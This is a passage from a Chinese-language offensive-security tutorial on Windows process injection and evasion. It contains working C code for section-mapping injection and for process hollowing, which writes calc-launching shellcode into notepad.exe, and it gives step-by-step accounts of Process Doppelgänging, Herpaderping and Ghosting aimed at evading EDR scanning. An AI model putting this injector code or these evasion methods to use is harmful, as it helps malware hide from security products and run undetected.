        printf("NtMapViewOfSection (local) failed. Status: 0x%x\n", status);
        return 1;
    }

    HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processEntry.th32ProcessID);
    if (targetHandle == NULL) {
        printf("OpenProcess failed. Error: %lu\n", GetLastError());
        return 1;
    }

    status = pNtMapViewOfSection(sectionHandle, targetHandle, &remoteSectionAddress, 0, 0, NULL, &size, 2, 0, PAGE_EXECUTE_READ);
    if (status != 0) {
        printf("NtMapViewOfSection (remote) failed. Status: 0x%x\n", status);
        return 1;
    }

    memcpy(localSectionAddress, shellcode, sizeof(shellcode));
    HANDLE targetThreadHandle = NULL;
    status = pRtlCreateUserThread(targetHandle, NULL, FALSE, 0, 0, 0, remoteSectionAddress, NULL, &targetThreadHandle, NULL);
    if (status != 0) {
        printf("RtlCreateUserThread failed. Status: 0x%x\n", status);
    }
    else {
        printf("Shellcode injected successfully.\n");
    }

    return 0;
}
```

运行结果：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/4nkObi0DORS4FKWz-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/4nkObi0DORS4FKWz-image.png)

#### **进程空洞**

进程空洞(Process Hollowing)，也是一种代码注入技术。巧妙的是，我们不需要额外分配存放 shellcode 的内存空间，而是覆盖进程主模块的代码区域。我们之前学过 PE 结构，我们知道可执行代码存在于 **.text** 节，程序的入口，通常是 **main** 函数，即首先被执行。倘若我们用 shellcode 覆盖程序入口开始的代码，那么便可披着良性进程的外衣，实际却在执行 shellcode。

这项技术的步骤如下：

1. 调用 CreateProcessA 以挂起状态创建一个新的进程
2. 通过 **NtQueryInformationProcess** 查询进程相关信息，例如 PEB 地址。
3. 通过 **ReadProcessMemory** 读取解析 PE 的所需数据，利用解析 PE 结构的方法，最终获得主模块入口地址
4. 使用 WriteProcessMemory 将 shellcode 写入程序入口处
5. 调用 ResumeThread 继续线程的执行

NtQueryInformationProcess 也是个 NTAPI，其函数定义如下：

```c
__kernel_entry NTSTATUS NtQueryInformationProcess(
  [in]            HANDLE           ProcessHandle,
  [in]            PROCESSINFOCLASS ProcessInformationClass,
  [out]           PVOID            ProcessInformation,
  [in]            ULONG            ProcessInformationLength,
  [out, optional] PULONG           ReturnLength
);
```

ReadProcessMemory 用于读取给定范围内的内存：

```c
BOOL ReadProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPCVOID lpBaseAddress,
  [out] LPVOID  lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesRead
);
```

需要注意的是，尽管我们没有分配 **RWX** 权限的空间，但是 WriteProcessMemory 会临时地将 .text 节的 RX 权限更改为 **RWX** 权限，依旧可能被检测到。

代码如下：

```c
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll")

unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";

int main() {
    STARTUPINFOA si = { 0 };
    si.cb = sizeof(STARTUPINFOA);
    PROCESS_INFORMATION pi = { 0 };
    PROCESS_BASIC_INFORMATION pbi = { 0 };
    ULONG returnLength = 0;

    if (!CreateProcessA(NULL, (LPSTR)"C:\\windows\\system32\\notepad.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        printf("CreateProcessA failed. Error: %lu\n", GetLastError());
        return 1; 
    }

    NTSTATUS status = NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength);
    if (status != 0) {
        printf("NtQueryInformationProcess failed. Status: 0x%x\n", status);
        return 1;
    }

    printf("PEB Address: %p\n", pbi.PebBaseAddress);
    PVOID imageBaseAddress;
    SIZE_T bytesRead;
    if (!ReadProcessMemory(pi.hProcess, (PBYTE)pbi.PebBaseAddress + sizeof(PVOID) * 2, &imageBaseAddress, sizeof(PVOID), &bytesRead)) {
        printf("ReadProcessMemory (image base address) failed. Error: %lu\n", GetLastError());
        return 1;
    }

    printf("Image Base Address: %p\n", imageBaseAddress);

    BYTE headersBuffer[4096];
    if (!ReadProcessMemory(pi.hProcess, imageBaseAddress, headersBuffer, sizeof(headersBuffer), NULL)) {
        printf("ReadProcessMemory (headers) failed. Error: %lu\n", GetLastError());
        return 1;
    }

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headersBuffer;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)dosHeader + dosHeader->e_lfanew);
    DWORD entryPointRVA = ntHeaders->OptionalHeader.AddressOfEntryPoint;
    PVOID entryPointVA = (PBYTE)imageBaseAddress + entryPointRVA;
    printf("Entry Point Address: %p\n", entryPointVA);

    if (!WriteProcessMemory(pi.hProcess, entryPointVA, shellcode, sizeof(shellcode), NULL)) {
        printf("WriteProcessMemory failed. Error: %lu\n", GetLastError());
        return 1;
    }

    if (ResumeThread(pi.hThread) == (DWORD)-1) {
        printf("ResumeThread failed. Error: %lu\n", GetLastError());
        return 1;
    }

    printf("Shellcode injected successfully.\n");
    return 0;
}
```

这样，我们就得以在良性进程下运行 shellcode 了：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/IltHGSywXasEUmPu-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/IltHGSywXasEUmPu-image.png)

### **进程操纵**

在 Windows 上，每个进程都与一个磁盘上的可执行文件关联，例如 svchost.exe，因为 Windows 从可执行文件启动进程，这些可执行文件通常是 EXE 格式的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/lkN4nXOSd19YfP52-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/lkN4nXOSd19YfP52-image.png)

不过，进程与可执行文件并不能等效。为了启动一个新的进程，会有一系列步骤发生。在现代 Windows 上，通常在内核中通过 NtCreateUserProcess 执行，不过 NtCreateProcessEx 依旧有保留，为了向后兼容性。步骤如下：

1. 打开可执行文件的句柄并且执行。例如 **HANDLE file = CreateFileA(L"C:\\\\Windows\\\\System32\\\\svchost.exe")**
2. 为文件创建**映像节**(image section)。一个节映射一个文件或者其部分至内存中。映像节是一种特殊类型的节，对应与 PE 文件，且只能从 PE 文件创建。例如 **hSection = NtCreateSection(file, SEC\_IMAGE)**
3. 使用映像节创建进程，例如 **hProcess = NtCreateProcessEx(hSection)**
4. 为进程配置参数以及环境变量，例如 **CreateEnvironmentBlock** 或 **NtWriteVirtualMemory**
5. 创建一个线程在进程中执行，如 **NtCreateThreadEx**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/EN2s0McWcYeyhGff-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/EN2s0McWcYeyhGff-image.png)

下图是 Process Monitor 中的视角：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/uxnQZ2X9DDXa0AKq-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/uxnQZ2X9DDXa0AKq-image.png)

进程是从可执行文件启动的，但可执行文件中的一些数据在映射到进程时会被修改。为了考虑这些更改，Windows 内存管理器在创建映像节时对其进行缓存，这意味着映像节会与其可执行文件不同。

#### **多重化进程**

多重化进程，即 **Process Doppelgänging**。该技术围绕着 Windows 事务性 NTFS，即 TxF。这是在 Vista 中引入的一种机制，它将文件系统操作封装在单个**原子事务**的上下文中。这种类似方法，在数据库管理中常被运用，确保了多个操作的数据完整性和一致性。通过 TxF，应用程序可以将一系列文件系统更改（例如创建、移动、删除文件或目录）作为统一的事务执行，该事务**要么完全提交**，**要么完全回滚**，不留下任何部分更改来影响系统的稳定性。

TxF 通过允许任何给定时间内**只有一个事务句柄**对文件进行写操作来维护数据完整性。在**写事务**期间，所有其他句柄都与写入者隔离。他们只能访问当他们的句柄被打开时已经**提交**的文件版本，从而防止数据破坏并确保文件数据的一致视图。如果事务被回滚，事务期间所做的更改对底层文件系统不可见，有效地使事务内的操作在提交之前不可见。

此外，如果在写操作期间发生系统或应用程序错误，TxF 设计为自动回滚事务，进一步保护文件系统免受破坏。这一特性对于在操作意外中断的情境下维护系统稳定性和数据完整性至关重要。

为了促进事务文件操作，Windows 提供了一套 API，包括但不限于：

- `CreateTransaction`：启动一个新事务。
- `CommitTransaction`：提交事务内所做的更改，使其永久化。
- `RollbackTransaction`：回滚事务内所做的更改，将文件系统恢复到以前的状态。
- `CreateFileTransacted`、`MoveFileTransacted`、`DeleteFileTransacted`：在事务的上下文中执行文件操作。
- `CreateDirectoryTransacted`、`RemoveDirectoryTransacted`：在事务中管理目录。

我们在代码里可能会用到的 API 定义如下：

```c
HANDLE CreateTransaction(
  [in, optional] LPSECURITY_ATTRIBUTES lpTransactionAttributes,
  [in, optional] LPGUID                UOW,
  [in, optional] DWORD                 CreateOptions,
  [in, optional] DWORD                 IsolationLevel,
  [in, optional] DWORD                 IsolationFlags,
  [in, optional] DWORD                 Timeout,
  [in, optional] LPWSTR                Description
);

HANDLE CreateFileTransactedA(
  [in]           LPCSTR                lpFileName,
  [in]           DWORD                 dwDesiredAccess,
  [in]           DWORD                 dwShareMode,
  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  [in]           DWORD                 dwCreationDisposition,
  [in]           DWORD                 dwFlagsAndAttributes,
  [in, optional] HANDLE                hTemplateFile,
  [in]           HANDLE                hTransaction,
  [in, optional] PUSHORT               pusMiniVersion,
                 PVOID                 lpExtendedParameter
);

BOOL RollbackTransaction(
  [in] HANDLE TransactionHandle
);
```

尽管被弃用了，但 TxF API 依旧在如今操作系统上可用。

<span style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Oxygen, Ubuntu, Roboto, Cantarell, 'Fira Sans', 'Droid Sans', 'Helvetica Neue', sans-serif; font-size: 14px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400;">多重化</span>进程利用 TxF 的能力，在另一个活动进程的地址空间内执行任意代码，执行一种不留下文件痕迹的进程注入变体。这种方法允许用恶意代码替换合法进程的内存，从而实现其执行，同时可能规避检测和防御机制。与进程空洞不同，后者在进程创建后修改进程的内存，多重化<span style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Oxygen, Ubuntu, Roboto, Cantarell, 'Fira Sans', 'Droid Sans', 'Helvetica Neue', sans-serif; font-size: 14px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400;">进程</span>通过在 TxF 提供的事务性上下文中覆写 PE 内容，先于进程创建。这确保了 Windows Loader 被误导为加载恶意内容，就好像它是合法的一样，无需使用如 NtUnmapViewOfSection、VirtualProtectEx 和 SetThreadContext 这些被密切监视的 API 函数，而是使用更鲜为人知的 TxF 相关的 API。

进程多重化的核心涉及在 TxF 事务内创建一个文件。只要事务未提交，这个文件对其他进程和操作系统保持不可见。通过操纵事务的时机——特别是，在适当的时刻回滚它——攻击者可以执行恶意负载，同时使其看起来好像涉及的文件甚至从未被创建。这种隐秘的方法利用了 NTFS 的事务性质，绕过传统的基于文件的扫描和检测方法，允许恶意行为者以降低被发现的风险发起攻击。

实现多重化进程的代码需要如下步骤：

1. 调用 **CreateTransaction** 创建一个新的事务
2. 在事务内，用 **CreateFileTransacted** 创建一个 dummy 文件储存载荷
3. 调用 **NtCreateSection** 创建节
4. 调用 **RollbackTranscation** 回滚事务
5. 调用 **NtCreateProcessEx** 根据**节**来创建进程
6. 创建一个新的线程在入口处执行

代码可以参考 [https://github.com/hasherezade/process\_doppelganging/blob/master/main.cpp](https://github.com/hasherezade/process_doppelganging/blob/master/main.cpp)

#### **赫帕德平进程**

赫帕德平进程，即 **Process Herpaderping**，是一种通过在映射映像后修改磁盘上的内容来遮掩进程意图的方法。我们之前说了，通常安全产品通过在 Windows 内核中注册回调 PsSetCreateProcessNotifyRoutineEx 来对进程创建采取行动。此时，安全产品可以检查用于映射可执行文件的文件，并决定是否允许该进程执行。这个内核回调是在初始线程插入时调用的，而不是在创建进程对象时调用。

因此，攻击者可以创建并映射一个进程，修改文件的内容，然后创建初始线程。在创建回调时进行检查的产品会看到被修改的内容。此外，一些产品使用写入时扫描的方法，该方法包括监控文件写入操作。这里的一个常见优化是记录文件已被写入，并将实际检查推迟到 **IRP\_MJ\_CLEANUP** 发生时(例如，文件句柄关闭)。因此，一个使用**写入-&gt;映射-&gt;修改-&gt;执行-&gt;关闭**流程的攻击者将能够绕过仅依赖于在 IRP\_MJ\_CLEANUP 时检查的**写入时扫描**。

为了利用这一机制，我们首先将二进制文件写入磁盘上的目标文件。然后，我们映射目标文件的镜像，并提供给操作系统用于进程创建。操作系统会为我们映射原始二进制文件。使用现有的文件句柄，并在创建初始线程之前，我们修改目标文件内容以遮蔽或伪造映像对应的文件。一段时间后，我们创建初始线程以开始执行原始二进制文件。最后，我们将关闭目标文件句柄。

我们逐步分析步骤：

1. 将目标二进制文件写入磁盘，保持句柄打开，这是将在内存中执行的内容
2. 调用 **NtCreateSection** 函数将文件映射为映像节
3. 调用 **NtCreateProcessEx** 函数使用节句柄创建进程对象
4. 使用相同的目标文件句柄，遮蔽磁盘上的文件
5. 调用 **NtCreateThreadEx** 函数在进程中创建初始线程。此时，内核中的进程创建回调将被触发，磁盘上的内容与映射的内容不匹配。此时对文件的检查将导致错误归因。
6. 关闭句柄。IRP\_MJ\_CLEANUP 将在这里发生。由于我们隐藏了正在执行的内容，此时的检查将导致错误归因。

```
__kernel_entry NTSYSCALLAPI NTSTATUS NtCreateSection(
  [out]          PHANDLE            SectionHandle,
  [in]           ACCESS_MASK        DesiredAccess,
  [in, optional] POBJECT_ATTRIBUTES ObjectAttributes,
  [in, optional] PLARGE_INTEGER     MaximumSize,
  [in]           ULONG              SectionPageProtection,
  [in]           ULONG              AllocationAttributes,
  [in, optional] HANDLE             FileHandle
);
```

代码可以参考 [https://github.com/Nikj-Fr/Process-Herpaderping/blob/main/Herpaderping/Herpaderping/Herpaderping.cpp](https://github.com/Nikj-Fr/Process-Herpaderping/blob/main/Herpaderping/Herpaderping/Herpaderping.cpp)

#### **幽灵进程**

幽灵进程，即 **Process Ghosting**。微软为安全厂商提供了注册回调的能力，这些回调将在系统上**创建进程和线程**时被调用。驱动开发者可以调用如 **PsSetCreateProcessNotifyRoutineEx** 和 **PsSetCreateThreadNotifyRoutineEx** 等 API 来接收这类事件。尽管名称如此，PsSetCreateProcessNotifyRoutineEx 回调实际上并不是在进程创建时调用，而是在这些进程内的第一个线程创建时调用。这在进程创建和安全产品被通知其创建之间创建了一个间隙，还为恶意软件作者提供了一个窗口，在安全产品扫描它们之前篡改支持文件和节。

未公开的进程创建 API NtCreateProcess 使用的是**节句柄**，而不是文件句柄：

```c
NTSYSCALLAPI
NTSTATUS
NTAPI
NtCreateProcess(
    _Out_ PHANDLE ProcessHandle,
    _In_ ACCESS_MASK DesiredAccess,
    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
    _In_ HANDLE ParentProcess,
    _In_ BOOLEAN InheritObjectTable,
    _In_opt_ HANDLE SectionHandle,
    _In_opt_ HANDLE DebugPort,
    _In_opt_ HANDLE ExceptionPort
    );
```

当启动进程时，安全产品将获得有关正在启动的进程的以下信息：

```c
typedef struct _PS_CREATE_NOTIFY_INFO {
  SIZE_T              Size;
  union {
    ULONG Flags;
    struct {
      ULONG FileOpenNameAvailable : 1;
      ULONG IsSubsystemProcess : 1;
      ULONG Reserved : 30;
    };
  };
  HANDLE              ParentProcessId;
  CLIENT_ID           CreatingThreadId;
  struct _FILE_OBJECT *FileObject;
  PCUNICODE_STRING    ImageFileName;
  PCUNICODE_STRING    CommandLine;
  NTSTATUS            CreationStatus;
} PS_CREATE_NOTIFY_INFO, *PPS_CREATE_NOTIFY_INFO;
```

值得关注的是 **FILE\_OBJECT**，这是内核对象，对应于传递给 NtCreateSection 的 HANDLE。这个 FILE\_OBJECT 通常对应于磁盘上的一个文件，可以对其进行恶意软件扫描。

安全产品还可以使用**文件系统微过滤器**(minifilter) 回调，这些回调在文件被**创建**、**交互**或**关闭**时接收通知。扫描每一次读写操作的系统影响可能相当大，因此出于性能考虑，文件通常在打开和关闭时被扫描。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/xkEuZAtn9cNVk5W8-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/xkEuZAtn9cNVk5W8-image.png)

我们可以在多重化进程和赫帕德平进程的基础上进一步操作，以运行已被删除的可执行文件。在 Windows 上删除文件有几种方式，包括：

1. 使用 **FILE\_SUPERSEDE** 或 **CREATE\_ALWAYS** 标志创建一个新文件来覆盖旧文件
2. 创建或打开文件时设置 **FILE\_DELETE\_ON\_CLOSE** 或 **FILE\_FLAG\_DELETE\_ON\_CLOSE** 标志。
3. 通过调用 **NtSetInformationFile** 并通过 **FileDispositionInformation** 文件信息类设置 **FILE\_DISPOSITION\_INFORMATION** 结构中的 **DeleteFile** 字段为 **TRUE**。

```c
__kernel_entry NTSYSCALLAPI NTSTATUS NtSetInformationFile(
  [in]  HANDLE                 FileHandle,
  [out] PIO_STATUS_BLOCK       IoStatusBlock,
  [in]  PVOID                  FileInformation,
  [in]  ULONG                  Length,
  [in]  FILE_INFORMATION_CLASS FileInformationClass
);
```

Windows 防止映射的可执行文件被修改，一旦文件被映射到一个镜像节中，尝试用 **FILE\_WRITE\_DATA** 打开它将因 **ERROR\_SHARING\_VIOLATION** 错误而失败。通过 **FILE\_DELETE\_ON\_CLOSE**/**FILE\_FLAG\_DELETE\_ON\_CLOSE** 尝试删除会因 **ERROR\_SHARING\_VIOLATION** 错误而失败。**NtSetInformationFile** 需要 **DELETE** 访问权限。即使映射到镜像段的文件被授予了 DELETE 访问权限，NtSetInformationFile(FileDispositionInformation) 也会因 **STATUS\_CANNOT\_DELETE** 错误而失败。通过 **FILE\_SUPERCEDE/CREATE\_ALWAYS** 尝试删除会因 **ACCESS\_DENIED** 而失败。

然而，这种删除限制只在**可执行文件被映射到镜像节后**才生效。这意味着可以创建一个文件，标记它为**删除状态**，将它映射到一个镜像段，关闭文件句柄以完成删除，然后从**无文件的节**创建进程，这便是进程幽灵。

攻击流步骤如下：

1. 创建一个文件
2. 使用 **NtSetInformationFile** 将文件置于**删除挂起**状态。
3. 向文件写入负载可执行文件。由于文件已处于删除挂起状态，内容不会被保留。删除挂起状态也阻止了外部文件打开该文件的尝试
4. 为文件创建一个镜像节
5. 关闭删除挂起的句柄，删除文件
6. 使用镜像节创建一个进程
7. 分配进程参数和环境变量
8. 创建一个线程在进程中执行

在线程创建时调用的回调，发生在文件被删除之后。尝试打开文件或对已删除的文件进行 I/O 操作将因 STATUS\_FILE\_DELETED 错误而失败，在删除完成前尝试打开文件将因 **STATUS\_DELETE\_PENDING** 错误而失败。这种篡改手段也可以应用于 DLL，因为 DLL 也是映射的镜像节。

幽灵进程的实现效果如下：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/WDVvsz2LXIbaCGWh-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/WDVvsz2LXIbaCGWh-image.png)

因为该技术与代码更加复杂，可以参考以下 3 个项目对其的实现：

[https://github.com/hasherezade/process\_ghosting](https://github.com/hasherezade/process_ghosting)

[https://github.com/Wra7h/SharpGhosting/tree/main](https://github.com/Wra7h/SharpGhosting/tree/main)

[https://github.com/dosxuz/ProcessGhosting](https://github.com/dosxuz/ProcessGhosting)

***不幸的是，微软对该技术发布了补丁，因此对于 Windows 11 以及较新版本的 Windows 10 不再生效。***

#### **总结**

总结一下，这 3 项对进程进行模仿与操纵的技术有着相似的想法，也有着不同的工作流，如下所示：

<table id="bkmrk-%E7%B1%BB%E5%9E%8B-%E6%8A%80%E6%9C%AF-%E5%A4%9A%E9%87%8D%E8%BF%9B%E7%A8%8B-%E4%BA%8B%E5%8A%A1--%3E-%E5%86%99--" style="width: 103.951%;"><tbody><tr><td style="width: 23.6069%;">**类型**

</td><td style="width: 76.3684%;">**技术**

</td></tr><tr><td style="width: 23.6069%;">多重进程

</td><td style="width: 76.3684%;">事务 -&gt; 写 -&gt; 映射 -&gt; 回滚 -&gt; 执行

</td></tr><tr><td style="width: 23.6069%;">赫帕德平进程

</td><td style="width: 76.3684%;">写 -&gt; 映射 -&gt; 修改 -&gt; 执行 -&gt; 关闭

</td></tr><tr><td style="width: 23.6069%;">幽灵进程

</td><td style="width: 76.3684%;">删除挂起中 -&gt; 写 -&gt; 映射 -&gt; 关闭(删除) -&gt; 执行

</td></tr></tbody></table>